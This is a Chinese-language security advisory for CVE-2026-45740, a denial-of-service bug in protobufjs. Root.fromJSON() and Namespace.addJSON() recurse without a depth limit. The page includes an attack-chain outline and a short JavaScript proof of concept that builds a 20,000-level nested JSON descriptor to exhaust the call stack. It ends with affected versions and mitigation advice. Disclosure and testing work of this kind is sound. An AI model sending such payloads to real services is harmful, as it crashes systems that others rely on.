IPBUF安全漏洞报告
English
CVE-2026-45740 CVSS 5.3 中危

CVE-2026-45740 protobufjs栈溢出拒绝服务漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-45740
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
protobufjs

相关标签

拒绝服务栈溢出protobufjsCVE-2026-45740DoS

漏洞概述

protobufjs库在处理Protobuf定义时存在安全缺陷。在7.5.8和8.2.0之前的版本中,Root.fromJSON()和Namespace.addJSON()方法缺乏递归深度限制。攻击者可利用深度嵌套的JSON描述符触发无限递归,导致JavaScript调用栈耗尽,进而引发拒绝服务,影响系统可用性。

技术细节

该漏洞产生于protobufjs库在将Protobuf定义编译为JavaScript函数的过程中。具体而言,在7.5.8和8.2.0之前的版本中,Root.fromJSON()及Namespace.addJSON()方法在处理嵌套的JSON描述符时,未实施递归深度限制。攻击者可精心设计一个包含极深层级命名空间定义的恶意JSON文件。当应用程序尝试加载并解析该文件时,解析器将进入无限递归或极深递归状态,导致JavaScript调用栈迅速被填满并耗尽。这种栈溢出错误会引发应用崩溃或挂起,从而导致拒绝服务。该漏洞利用门槛低,无需认证即可通过网络触发,严重影响依赖该库的在线服务稳定性。

攻击链分析

STEP 1
构造恶意JSON
攻击者创建一个包含极深嵌套命名空间结构的恶意JSON Protobuf描述符文件。
STEP 2
发送载荷
攻击者将恶意JSON文件发送至目标服务器,或诱导目标应用加载该文件。
STEP 3
触发解析
目标应用调用protobufjs的Root.fromJSON()或Namespace.addJSON()函数解析该JSON。
STEP 4
耗尽资源
解析过程因缺乏深度限制而发生无限递归,导致JavaScript调用栈耗尽,引发应用崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-45740 // This PoC generates a deeply nested JSON object to trigger stack overflow in protobufjs const protobuf = require("protobufjs"); function generateDeepNestedJson(depth) { let nested = {}; let current = nested; for (let i = 0; i < depth; i++) { current.nested = { name: `level_${i}`, fields: {} }; current = current.nested; } return { nested: nested }; } // Generate a payload with recursion depth exceeding typical stack limits const maliciousPayload = generateDeepNestedJson(20000); try { console.log("Attempting to parse malicious JSON..."); // Trigger the vulnerable function protobuf.Root.fromJSON(maliciousPayload); console.log("Parsing completed (unexpected)."); } catch (e) { console.error(`Vulnerability triggered: ${e.message}`); }

影响范围

protobufjs < 7.5.8
protobufjs < 8.2.0

防御指南

临时缓解措施
如果暂时无法升级,建议在应用层面对用户输入的JSON数据进行深度限制检查,拒绝解析嵌套层级过深的数据,以防止递归耗尽栈资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表